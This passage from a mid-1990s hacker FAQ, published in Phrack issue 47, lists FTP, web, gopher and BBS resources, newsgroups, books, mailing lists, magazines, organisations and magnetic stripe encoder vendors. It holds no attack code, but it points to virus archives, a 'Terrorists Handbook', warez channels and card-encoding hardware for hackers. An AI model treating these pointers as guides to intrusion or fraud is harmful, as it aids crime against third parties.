
ftp.clark.net /pub/jcase (H/P) ftp.cnam.fr

ftp.commerce.net /pubs/standards/drafts/shttp.txt(Secure HyperText) ftp.cs.colorado.edu

ftp.cs.ruu.nl

ftp.cs.uwm.edu /pub/comp‑privacy (Privacy Digest) ftp.cs.vu.nl

ftp.cs.yale.edu

ftp.csl.sri.com /pub/nides (SRI) ftp.csua.berkeley.edu /pub/cypherpunks (Crypto) ftp.cyberspace.com /pub/archive/defcon (PhoneTag) ftp.delmarva.com

ftp.dsi.unimi.it

ftp.ee.lbl.gov

ftp.eff.org /pub/Publications/CuD (EFF) ftp.elelab.nsc.co.jp /pub/security (Security)

ftp.etext.org Etext)

ftp.fc.net /pub/defcon (DefCon) ftp.fc.net /pub/defcon/BBEEP (BlueBeep) ftp.fc.net /pub/phrack (Phrack Magazine) ftp.fc.net /pub/phrack/underground (Hacker Archives) ftp.fh‑berlin.de

ftp.foobar.com

ftp.funet.fi

ftp.gate.net /pub/users/laura

ftp.gate.net /pub/users/wakko

ftp.greatcircle.com /pub/firewalls (Firewalls) ftp.halcyon.com /pub/cud (Zines) ftp.IEunet.ie /pub/security (Security) ftp.ifi.uio.no

ftp.info.fundp.ac.be

ftp.informatik.uni‑hamburg.de

ftp.inoc.dl.nec.com /pub/security (Security) ftp.isi.edu

ftp.llnl.gov /pub (CIAC) ftp.lysator.liu.se

ftp.mcs.com /mcsnet.users/crisadm (Virii) ftp.near.net /security/archives/phrack (Zines) ftp.nec.com

ftp.netcom.com /pub/br/bradleym (Virii) ftp.netcom.com /pub/da/daemon9

ftp.netcom.com /pub/va/vandal (DnA) ftp.netcom.com /pub/zz/zzyzx (H/P) ftp.netsys.com

ftp.ocs.mq.edu.au /PC/Crypt (Crypto) ftp.paranoia.com /pub/toneloc/tl110.zip (ToneLoc) ftp.pop.psu.edu

ftp.primus.com /pub/armchair (Phoney) ftp.primus.com /pub/security (Security) ftp.psy.uq.oz.au

ftp.rahul.net /pub/lps (Home of the FAQ) ftp.sert.edu.au

ftp.sgi.com

ftp.std.com /archives/alt.locksmithing (Locksmithing) ftp.std.com /obi/Mischief/ (MIT Guide to Locks) ftp.std.com /obi/Phracks (Zines) ftp.sunet.se /pub/network/monitoring (Ethernet sniffers) ftp.sura.net /pub/security (SURAnet) ftp.technet.sg

ftp.tis.com /pub (TIS) ftp.uspto.gov

ftp.uu.net /doc/literary/obi/Phracks (Zines)

ftp.uwp.edu Copy protection)

ftp.vis.colostate.edu

ftp.vix.com

ftp.vortex.com

ftp.warwick.ac.uk /pub/cud (Zines) ftp.win.tue.nl /pub/security (Security) ftp.winternet.com /users/craigb (H/P) ftp.wustl.edu /doc/EFF (EFF) furmint.nectar.cs.cmu.edu /security (Crypto) garbo.uwasa.fi /pc/crypt (Crypto) gumby.dsd.trw.com

hplyot.obspm.fr

info.mcs.anl.gov

jerico.usc.edu

lcs.mit.edu /telecom‑archives (Telecom archives)

lod.amaranth.com Legion of Doom)

l0pht.com The L0pht)

mac.archive.umich.edu

mary.iia.org /pub/users/patriot (Misc) monet.ccs.itd.umich.edu

net.tamu.edu /pub/security/TAMU (Security) net23.com /pub (Max Headroom) nic.ddn.mil /scc (DDN Security) nic.funet.fi /pub/doc/cud (Zines) oak.oakland.edu

paradox1.denver.colorado.edu /anonymous/text‑files/pyrotechnics (Pyro) parcftp.xerox.com

pyrite.rutgers.edu /pub/security (Security) relay.cs.toronto.edu /doc/telecom‑archives (Telecom) rena.dit.co.jp /pub/security (Security) research.att.com /dist/internet_security (AT&T) ripem.msu.edu /pub/crypt (Ripem)

rs1.rrz.uni‑koeln.de (Wordlists)

rtfm.mit.edu Etext)

rtfm.mit.edu /pub/usenet‑by‑group (Usenet FAQ's)

sable.ox.ac.uk Wordlists)

samadams.princeton.edu

scss3.cl.msu.edu /pub/crypt (Crypto) sierra.stanford.edu

spy.org CSC)

suburbia.apana.org.au /pub/unix/security (Security) sunsolve1.sun.com

tam.cs.ucdavis.edu

technion.ac.il

theta.iis.u‑tokyo.ac.jp /pub1/security (Security) thumper.bellcore.com

titania.mathematik.uni‑ulm.de /pub/security (Security) toxicwaste.mit.edu /pub/rsa129/README (Breaking RSA) uceng.uc.edu /pub/kerberos.documentation (Kerberos) ugle.unit.no

vic.cc.purdue.edu

whacked.l0pht.com (Mac + H/P)

wimsey.bc.ca /pub/crypto (Crypto)

02. What are some fsp sites of interest to hackers?

Third Stone From the Sun 132.241.180.91 6969

03. What are some newsgroups of interest to hackers?

alt.2600 Do it 'til it hertz alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994 alt.cellular

alt.cellular‑phone‑tech

alt.comp.virus

alt.cyberpunk High‑tech low‑life.

alt.cyberspace Cyberspace and how it should work. alt.dcom.telecom Discussion of telecommunications technology alt.engr.explosives [no description available] alt.hackers Descriptions of projects currently under development alt.locksmithing You locked your keys in *where*? alt.hackers.malicious The really bad guys ‑ don't take candy from them alt.ph.uk

alt.privacy.anon‑server Tech. & policy matters of anonymous contact servers alt.radio.pirate Hide the gear, here comes the magic station‑wagons. alt.radio.scanner Discussion of scanning radio receivers. alt.satellite.tv.europe

alt.security Security issues on computer systems alt.security.index Pointers to good stuff in misc.security (Moderated) alt.security.keydist Exchange of keys for public key encryption systems alt.security.pgp The Pretty Good Privacy package alt.security.ripem A secure email system illegal to export from the US comp.dcom.cellular [no description available] comp.dcom.telecom Telecommunications digest (Moderated) comp.dcom.telecom.tech [no description available] comp.org.cpsr.announce Computer Professionals for Social Responsibility comp.org.cpsr.talk Issues of computing and social responsibility comp.org.eff.news News from the Electronic Frontiers Foundation comp.org.eff.talk Discussion of EFF goals, strategies, etc. comp.protocols.kerberos The Kerberos authentification server comp.protocols.tcp‑ip TCP and IP network protocols comp.risks Risks to the public from computers & users comp.security.announce Announcements from the CERT about security comp.security.misc Security issues of computers and networks comp.security.unix Discussion of Unix security comp.virus Computer viruses & security (Moderated) de.org.ccc Mitteilungen des CCC e.V. misc.security Security in general, not just computers (Moderated) rec.pyrotechnics Fireworks, rocketry, safety, & other topics rec.radio.scanner [no description available] rec.video.cable‑tv Technical and regulatory issues of cable television sci.crypt Different methods of data en/decryption

04. What are some telnet sites of interest to hackers?

ntiabbs.ntia.doc.gov (NTIA)

telnet lust.isca.uiowa.edu 2600 (underground bbs) (temporarily down)

The #hack FAQ (Part 4)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 8 of 22

05. What are some gopher sites of interest to hackers?

ba.com (Bell Atlantic) csrc.ncsl.nist.gov (NIST Security Gopher) gopher.acm.org (SIGSAC (Security, Audit & Control)) gopher.cpsr.org (Computer Professionals for Social Responsibility) gopher.cs.uwm.edu

gopher.eff.org (Electonic Frontier Foundation) gw.PacBell.com (Pacific Bell)

iitf.doc.gov (NITA ‑‑ IITF)

oss.net (Open Source Solutions)

spy.org (Computer Systems Consulting) wiretap.spies.com (Wiretap)

06. What are some World wide Web (WWW) sites of interest to hackers?

http://alumni.caltech.edu/~dank/isdn/ (ISDN)

http://aset.rsoc.rockwell.com (NASA/MOD AIS Security)

http://aset.rsoc.rockwell.com/exhibit.html (Tech. for Info Sec)

http://att.net/dir800 (800 directory)

http://ausg.dartmouth.edu/security.html (Security)

http://cs.purdue.edu/coast/coast.html (Coast)

http://csrc.ncsl.nist.gov (NIST)

http://dhp.com/~pluvius

http://dfw.net/~aleph1 (Eubercrackers)

http://draco.centerline.com:8080/~franl/crypto.html (Crypto)

http://everest.cs.ucdavis.edu/Security.html (Security)

http://everest.cs.ucdavis.edu/slides/slides.html(Security Lab Slides)

http://ezinfo.ethz.ch/ETH/D‑REOK/fsk/fsk_homepage.html (CSSCR)

http://first.org (FIRST)

http://ftp.tamu.edu/~abr8030/security.html (Security)

http://hightop.nrl.navy.mil/potpourri.html (Security)

http://hightop.nrl.navy.mil/rainbow.html (Rainbow Books)

http://ice‑www.larc.nasa.gov/ICE/papers/hacker‑crackdown.html (Sterling)

http://ice‑www.larc.nasa.gov/ICE/papers/nis‑requirements.html (ICE NIS)

http://info.bellcore.com/BETSI/betsi.html (Betsi)

http://infosec.nosc.mil/infosec.html (SPAWAR INFOSEC)

http://l0pht.com (The l0pht)

http://l0pht.com/~oblivion/IIRG.html (Phantasy Magazine)

http://mindlink.jolt.com (The Secrets of LockPicking)

http://mls.saic.com (SAIC MLS)

http://naic.nasa.gov/fbi/FBI_homepage.html (FBI Homepage)

http://nasirc.hq.nasa.gov (NASA ASIRC)

http://ophie.hughes.american.edu/~ophie

http://ripco.com:8080/~glr/glr.html (Full Disclosure)

http://spy.org (CSC)

http://tansu.com.au/Info/security.html (Comp and Net Security)

http://the‑tech.mit.edu (LaMacchia case info)

http://wintermute.itd.nrl.navy.mil/5544.html (Network Security)

http://www.aads.net (Ameritech)

http://www.alw.nih.gov/WWW/security.html (Unix Security)

http://www.artcom.de/CCC (CCC Homepage)

http://www.aspentec.com/~frzmtdb/fun/hacker.html

http://www.aus.xanadu.com:70/1/EFA (EFF Australia)

http://www.ba.com (Bell Atlantic)

http://www.beckman.uiuc.edu/groups/biss/VirtualLibrary/xsecurity.html(X‑Win)

http://www.bell.com (MFJ Task Force)

http://www.bellcore.com/SECURITY/security.html (Bellcore Security Products)

http://www.brad.ac.uk/~nasmith/index.html

http://www.bst.bls.com (BellSouth)

http://www.c3.lanl.gov/~mcn (Lanl)

http://www.cert.dfn.de/ (German First Team)

http://www.commerce.net/information/standards/drafts/shttp.txt (HyperText)

http://www.contrib.andrew.cmu.edu:8001/usr/dscw/home.html

http://www.cpsr.org/home (CPSR)

http://www.cs.tufts.edu/~mcable/cypher/alerts/alerts.html (Cypherpunk)

http://www.cs.tufts.edu/~mcable/HackerCrackdown (Hacker Crackdown)

http://www.cs.umd.edu/~lgas

http://www.cs.cmu.edu:8001/afs/cs.cmu.edu/user/bsy/www/sec.html (Security)

http://www.csd.harris.com/secure_info.html (Harris)

http://www.csl.sri.com (SRI Computer Science Lab)

http://www.cybercafe.org/cybercafe/pubtel/pubdir.html (CyberCafe)

http://www.datafellows.fi (Data Fellows)

http://www.delmarva.com/raptor/raptor.html (Raptor Network Isolator)

http://www.demon.co.uk/kbridge (KarlBridge)

http://www.digicash.com/ecash/ecash‑home.html (Digital Cash)

http://www.digital.com/info/key‑secure‑index.html(Digital Secure Systems)

http://www.eecs.nwu.edu/~jmyers/bugtraq/index.html(Bugtraq)

http://www.eecs.nwu.edu/~jmyers/ids/index.html (Intrusion Detection Systems)

http://www.eff.org/papers.html (EFF)

http://www.engin.umich.edu/~jgotts/boxes.html (Box info)

http://www.engin.umich.edu/~jgotts/hack‑faq.html(This document)

http://www.engin.umich.edu/~jgotts/underground.html

http://www.ensta.fr/internet/unix/sys_admin (System administration)

http://www.etext.org/Zines/ (Zines)

http://www.fc.net/defcon (DefCon)

http://www.fc.net/phrack.html (Phrack Magazine)

http://www.first.org/first/ (FIRST)

http://www.greatcircle.com (Great Circle Associates)

http://www.hpcc.gov/blue94/section.4.6.html (NSA)

http://www.ic.gov (The CIA)

http://www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)

http://www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)

http://www.lysator.liu.se:7500/mit‑guide/mit‑guide.html (Lockpicking Guide)

http://www.net23.com (Max Headroom)

http://www.nist.gov (NIST)

http://www.pacbell.com (Pacific Bell)

http://www.paranoia.com/mthreat (ToneLoc)

http://www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)

http://www.phantom.com/~king (Taran King)

http://www.quadralay.com/www/Crypt/Crypt.html (Quadralay Cryptography)

http://www.qualcomm.com/cdma/wireless.html (Qualcomm CDMA)

http://www.research.att.com (AT&T)

http://ripco.com:8080/~glr/glr.html (Full Disclosure)

http://www.rsa.com (RSA Data Security)

http://www.satelnet.org/~ccappuc

http://www.service.com/cm/uswest/usw1.html (USWest)

http://www.shore.net/~oz/welcome.html (Hack TV)

http://www.spy.org (Computer Systems Consulting)

http://www.sri.com (SRI)

http://www.tansu.com.au/Info/security.html (Security Reference Index)

http://www.tis.com (Trusted Information Systems)

http://www.tri.sbc.com (Southwestern Bell)

http://www.uci.agh.edu.pl/pub/security (Security)

http://www.umcc.umich.edu/~doug/virus‑faq.html (Virus)

http://www.usfca.edu/crackdown/crack.html (Hacker Crackdown)

http://www.wam.umd.edu/~ankh/Public/devil_does_unix

http://www.wiltel.com (Wiltel)

http://www.winternet.com/~carolann/dreams.html

http://www.wired.com (Wired Magazine)

07. What are some IRC channels of interest to hackers?

#2600

#cellular

#hack

#phreak

#linux

#realhack

#root

#unix

#warez

08. What are some BBS's of interest to hackers?

Rune Stone (203)832‑8441

Hacker's Haven (303)343‑4053

Independent Nation (315)656‑4179

Ut0PiA (315)656‑5135

underworld_1994.com (514)683‑1894

Digital Fallout (516)378‑6640

Alliance Communications (612)251‑8596

Maas‑Neotek (617)855‑2923

Apocalypse 2000 (708)676‑9855

K0dE Ab0dE (713)579‑2276

fARM R0Ad 666 (713)855‑0261

09. What are some books of interest to hackers?

General Computer Security

~~~~~~~~~~~~~~~~~~~~~~~~~

Computer Security Basics

Author: Deborah Russell and G.T. Gengemi Sr.

Publisher: O'Reilly & Associates, Inc.

Copyright Date: 1991

ISBN: 0‑937175‑71‑4

This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert.

Computer Security Management

Author: Karen Forcht

Publisher: Boyd and Fraser

Copyright Date: 1994

ISBN: 0‑87835‑881‑1

Information Systems Security

Author: Philip Fites and Martin Kratz

Publisher: Van Nostrad Reinhold

Copyright Date: 1993

ISBN: 0‑442‑00180‑0

Computer Related Risks

Author: Peter G. Neumann

Publisher: Addison‑Wesley

Copyright Date: 1995

ISBN: 0‑201‑55805‑X

Computer Security Management

Author: Karen Forcht

Publisher: boyd & fraser publishing company

Copyright Date: 1994

ISBN: 0‑87835‑881‑1

The Stephen Cobb Complete Book of PC and LAN Security

Author: Stephen Cobb

Publisher: Windcrest Books

Copyright Date: 1992

ISBN: 0‑8306‑9280‑0 (hardback) 0‑8306‑3280‑8 (paperback)

Security in Computing

Author: Charles P. Pfleeger

Publisher: Prentice Hall

Copyright Date: 1989

ISBN: 0‑13‑798943‑1.

Building a Secure Computer System

Author: Morrie Gasser

Publisher: Van Nostrand Reinhold Co., New York.

Copyright Date:

ISBN: 0‑442‑23022‑2

Modern Methods for Computer Security

Author: Lance Hoffman

Publisher: Prentice Hall

Copyright Date: 1977

ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control Author:

Publisher: Microsoft Press

Copyright Date:

ISBN: 1‑55615‑814‑9

Unix System Security

~~~~~~~~~~~~~~~~~~~~

Practical Unix Security

Author: Simson Garfinkel and Gene Spafford

Publisher: O'Reilly & Associates, Inc.

Copyright Date: 1991

ISBN: 0‑937175‑72‑2

Finally someone with a very firm grasp of Unix system security gets down to writing a book on the subject. Buy this book. Read this book.

Firewalls and Internet Security

Author: William Cheswick and Steven Bellovin

Publisher: Addison Wesley

Copyright Date: 1994

ISBN: 0‑201‑63357‑4

Unix System Security

Author: Rik Farrow

Publisher: Addison Wesley

Copyright Date: 1991

ISBN: 0‑201‑57030‑0

Unix Security: A Practical Tutorial

Author: N. Derek Arnold

Publisher: McGraw Hill

Copyright Date: 1993

ISBN: 0‑07‑002560‑6

Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry

Publisher: Addison‑Wesley

Copyright Date: 1992

ISBN: 0‑201‑56327‑4

Unix System Security

Author: Patrick H. Wood and Stephen G. Kochan

Publisher: Hayden Books

Copyright Date: 1985

ISBN: 0‑672‑48494‑3

Unix Security for the Organization

Author: Richard Bryant

Publisher: Sams

Copyright Date: 1994

ISBN: 0‑672‑30571‑2

Network Security

~~~~~~~~~~~~~~~~

Network Security Secrets

Author: David J. Stang and Sylvia Moon

Publisher: IDG Books

Copyright Date: 1993

ISBN: 1‑56884‑021‑7

Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang.

Complete Lan Security and Control

Author: Peter Davis

Publisher: Windcrest / McGraw Hill

Copyright Date: 1994

ISBN: 0‑8306‑4548‑9 and 0‑8306‑4549‑7

Network Security

Author: Steven Shaffer and Alan Simon

Publisher: AP Professional

Copyright Date: 1994

ISBN: 0‑12‑638010‑4

Cryptography

~~~~~~~~~~~~

Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier

Publisher: John Wiley & Sons

Copyright Date: 1994

ISBN: 0‑471‑59756‑2

Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy.

Cryptography and Data Security

Author: Dorothy Denning

Publisher: Addison‑Wesley Publishing Co.

Copyright Date: 1982

ISBN: 0‑201‑10150‑5

Protect Your Privacy: A Guide for PGP Users

Author: William Stallings

Publisher: Prentice‑Hall

Copyright Date: 1994

ISBN: 0‑13‑185596‑4

Programmed Threats

~~~~~~~~~~~~~~~~~~

The Little Black Book of Computer Viruses

Author: Mark Ludwig

Publisher: American Eagle Publications

Copyright Date: 1990

ISBN: 0‑929408‑02‑0

The original, and still the best, book on computer viruses. No media hype here, just good clean technical information.

Computer Viruses, Artificial Life and Evolution

Author: Mark Ludwig

Publisher: American Eagle Publications

Copyright Date: 1993

ISBN: 0‑929408‑07‑1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System

Author: John McAfee and Colin Haynes

Publisher: St. Martin's Press

Copyright Date: 1989

ISBN: 0‑312‑03064‑9 and 0‑312‑02889‑X

The Virus Creation Labs: A Journey Into the Underground Author: George Smith

Publisher: American Eagle Publications

Copyright Date: 1994

ISBN:

Telephony

~~~~~~~~~

Engineering and Operations in the Bell System

Author: R.F. Rey

Publisher: Bell Telephont Laboratories

Copyright Date: 1983

ISBN: 0‑932764‑04‑5

Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over.

Telephony: Today and Tomorrow

Author: Dimitris N. Chorafas

Publisher: Prentice‑Hall

Copyright Date: 1984

ISBN: 0‑13‑902700‑9

The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan

Publisher: Delmar Publishers, Inc.

Copyright Date: 1992

ISBN: 0‑8273‑4615‑8

I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field.

Tandy/Radio Shack Cellular Hardware

Author: Judas Gerard and Damien Thorn

Publisher: Phoenix Rising Communications

Copyright Date: 1994

ISBN:

The Phone Book

Author: Carl Oppendahl

Publisher: Consumer Reports

Copyright Date:

ISBN: 0‑89043‑364‑x

Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier.

Principles of Caller I.D.

Author:

Publisher: International MicroPower Corp.

Copyright Date:

ISBN:

Hacking History and Culture

~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling

Publisher: Bantam Books

Copyright Date: 1982

ISBN: 0‑553‑56370‑X

Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience.

Cyberpunk

Author: Katie Hafner and John Markoff

Publisher: Simon and Schuster

Copyright Date: 1991

ISBN: 0‑671‑77879‑X

The Cuckoo's Egg

Author: Cliff Stoll

Publisher: Simon and Schuster

Copyright Date: 1989

ISBN: 0‑671‑72688‑9

Hackers: Heroes of the Computer Revolution

Author: Steven Levy

Publisher: Doubleday

Copyright Date: 1984

ISBN: 0‑440‑13495‑6

Unclassified

~~~~~~~~~~~~

The Hacker's Handbook

Author: Hugo Cornwall

Publisher: E. Arthur Brown Company

Copyright Date:

ISBN: 0‑912579‑06‑4

Secrets of a Super Hacker

Author: The Knightmare

Publisher: Loompanics

Copyright Date: 1994

ISBN: 1‑55950‑106‑5

The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage.

The Day The Phones Stopped

Author: Leonard Lee

Publisher: Primus / Donald I Fine, Inc.

Copyright Date: 1992

ISBN: 1‑55611‑286‑6

Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer.

Information Warfare

Author: Winn Swartau

Publisher: Thunder Mountain Press

Copyright Date: 1994

ISBN: 1‑56025‑080‑1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson

Publisher: Salamander Press

Copyright Date:

ISBN: 0‑668‑06497‑8

10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage

$25 on VH S format in 38‑min

Savage Productions

1803 Mission St., #406

Santa Cruz, CA 95060

11. What are some mailing lists of interest to hackers?

Academic Firewalls

Reflector Address:

Registration Address: Send a message to majordomo@greatcircle.com containing the line "subscribe firewalls user@host"

Bugtraq

Reflector Address: bugtraq@fc.net

Registration Address: bugtraq‑request@fc.net

Cert Tools

Reflector Address: cert‑tools@cert.org

Registration Address: cert‑tools‑request@cert.org

Computers and Society

Reflector Address: Comp‑Soc@limbo.intuitive.com Registration Address: taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data

Reflector Address: ldc‑sw@cpsr.org

Registration Address:

CPSR Announcement List

Reflector Address: cpsr‑announce@cpsr.org

Registration Address:

CPSR ‑ Intellectual Property

Reflector Address: cpsr‑int‑prop@cpsr.org

Registration Address:

CPSR ‑ Internet Library

Reflector Address: cpsr‑library@cpsr.org

Registration Address:

DefCon Announcement List

Reflector Address:

Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc‑announce"

DefCon Chat List

Reflector Address:

Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc‑stuff"

IDS (Intruder Detection Systems)

Reflector Address:

Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au containing the line "subscribe ids"

Macintosh Security

Reflector Address: mac‑security@eclectic.com

Registration Address: mac‑security‑request@eclectic.com

NeXT Managers

Reflector Address:

Registration Address: next‑managers‑request@stolaf.edu

Phiber‑Scream

Reflector Address:

Registration Address: Send a message to listserv@netcom.com containing the line "subscribe phiber‑scream user@host"

phruwt‑l (Macintosh H/P)

Reflector Address:

Registration Address: Send a message to filbert@netcom.com with the subject "phruwt‑l"

rfc931‑users

Reflector Address: rfc931‑users@kramden.acf.nyu.edu Registration Address: brnstnd@nyu.edu

RSA Users

Reflector Address: rsaref‑users@rsa.com

Registration Address: rsaref‑users‑request@rsa.com

12. What are some print magazines of interest to hackers?

2600 ‑ The Hacker Quarterly

~~~~~~~~~~~~~~~~~~~~~~~~~~~

E‑mail address: 2600@well.sf.ca.us

Subscription Address: 2600 Subscription Dept PO Box 752

Middle Island, NY 11953‑0752

Letters and article submission address: 2600 Editorial Dept

PO Box 99

Middle Island, NY 11953‑0099

Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate.

Gray Areas

~~~~~~~~~~

Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/oe controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior.

E‑Mail Address: grayarea@well.sf.ca.us

E‑Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas

PO Box 808

Broomall, PA 19008

Subscriptions: $26.00 4 issues first class

$34.00 4 issues foreign (shipped air mail)

Wired

~~~~~

Subscription Address: subscriptions@wired.com or: Wired

PO Box 191826

San Francisco, CA 94119‑9866

Letters and article submission address: guidelines@wired.com

or: Wired

544 Second Street

San Francisco, CA 94107‑1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts

~~~~~~~~~~~~

T& L Publications

430 Princeland Court

Corona, CA 91719

(800)783‑4624 (Voice) (Subscription Only Order Line)

(909)371‑8497 (Voice)

(909)371‑3052 (Fax)

CIS: 74262,3664

13. What are some e‑zines of interest to hackers?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo

Empire Times ftp.etext.org /pub/Zines/Emptimes

Phrack ftp.fc.net /pub/phrack

14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policymakers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

* We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society.

* We work to dispel popular myths about the infallibility of technological systems.

* We challenge the assumption that technology alone can solve political and social problems.

* We critically examine social and technical issues within the computer profession, nationally and internationally.

* We encourage the use of computer technology to improve the quality of life.

CPSR Membership Categories

75 REGULAR MEMBER

50 Basic member

200 Supporting member

500 Sponsoring member

1000 Lifetime member

20 Student/low income member

50 Foreign subscriber

50 Library/institutional subscriber

CPSR National Office

P.O. Box 717

Palo Alto, CA 94301

415‑322‑3778

415‑322‑3798 (FAX)

E‑mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer‑based communications. It is a member‑supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.

666 Pennsylvania Avenue S.E., Suite 303

Washington, D.C. 20003

+1 202 544 9237

+1 202 547 5481 FAX

Internet: eff@eff.org

Free Software Foundation (FSF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

GNU

~~~

The League for Programming Freedom (LPF)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of governmentenforced monopolies broader in scope than ever before. Such a system of user‑interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing user‑interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 ‑‑ copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices.

Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243‑4091, send Internet mail to the address league@prep.ai.mit.edu, or write to:

League for Programming Freedom

1 Kendall Square #143

P.O. Box 9171

Cambridge, MA 02139 USA

SotMesc

~~~~~~~

Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC

P.O. Box 573

Long Beach, MS 39560

Computer Emergency Response Team (CERT

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems.

CERT products and services include 24‑hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security‑related documents, past CERT advisories, and tools are archived.

CERT contact information:

U.S. mail address

CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh, PA 15213‑3890

U.S.A.

Internet E‑mail address

cert@cert.org

Telephone number

(412)268‑7090 (24‑hour hotline)

CERT Coordination Center personnel answer

7:30 a.m.‑ 6:00 p.m. EST(GMT‑5)/EDT(GMT‑4), on call for emergencies during other hours.

FAX number

(412)268‑6989

15. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance

PO Box 2434

Harwood Station

Littleton, MA 01460

(508)624‑4819 (Fax)

Omron Electronics, Inc.

One East Commerce Drive

Schaumburg, IL 60173

(800)556‑6766 (Voice)

(708)843‑7787 (Fax)

Security Photo Corporation

1051 Commonwealth Avenue

Boston, MA 02215

(800)533‑1162 (Voice)

(617)783‑3200 (Voice)

(617)783‑1966 (Voice)

Timeline Inc,

23605 Telo Avenue

Torrence, CA 90505

(800)872‑8878 (Voice)

(800)223‑9977 (Voice)

Alltronics

2300 Zanker Road

San Jose CA 95131

(408) 943‑9774 Voice

(408) 943‑9776 Fax

(408) 943‑0622 BBS

Part Number: 92U067

Atalla Corp

San Jose, CA

(408) 435‑8850

16. What are the rainbow books and how can I get them?

Orange Book

